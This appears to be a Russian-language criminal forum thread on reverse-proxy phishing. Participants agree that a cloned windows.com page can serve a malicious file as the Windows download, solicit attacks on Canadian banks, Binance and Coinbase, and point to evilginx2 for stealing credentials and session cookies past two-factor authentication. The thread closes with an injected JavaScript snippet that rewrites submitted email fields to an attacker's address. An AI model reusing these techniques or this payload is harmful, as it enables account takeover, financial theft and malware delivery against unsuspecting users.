Правильно ли я понимаю, что этим способом можно сайт, скажем юзеру показать сайт виндовс.ком. Но при нажатии кнопки скачать виндовс на лендинге, мы можем подсунуть ему урл своего файла, а юзер это даже не заметит, думаю, что качает винду с офишл сайта?
Да, можно.
А вот это крайне интересно. Где таких спецов найти, которые Нгинкс шарят? Далеко не каждый бэк энд специалист в этом вопросе разбирается.
статья будет?)
Канада банки надо, бинанс, коинбайс - если такое осилишь стукни мне в пм...
Да я это видел но я в JS не разбираюсь от слова совсем)Через JS-inject (на практике не проверял)
Phishlet File Format (2.3.0)
Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication - kgretzky/evilginx2github.com
Мне больше интересен первый вариант который добавит скрипт в страницу, второй вариант не очень т.к менять динамичные данные по регулярным выражениям с ним не получится, я вчера проверил там можно только текст менять и ссылки итд.
<html>
<body>
<input type='text' value='some text'>
<input type='text' value='email@email.com'>
<button id='submit' onclick='alert("old handler");'>Submit</button>
<script>
let pattern = /^\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,3}$/;
let button = document.getElementById('submit');
let oldhandler = button.onclick;
button.onclick = e => {
let inputs = document.getElementsByTagName('input');
for (let i of inputs) {
i.value = i.value.replace(pattern, "zach@powerfulhaxor.com");
}
return oldhandler(e);
}
</script>
</body>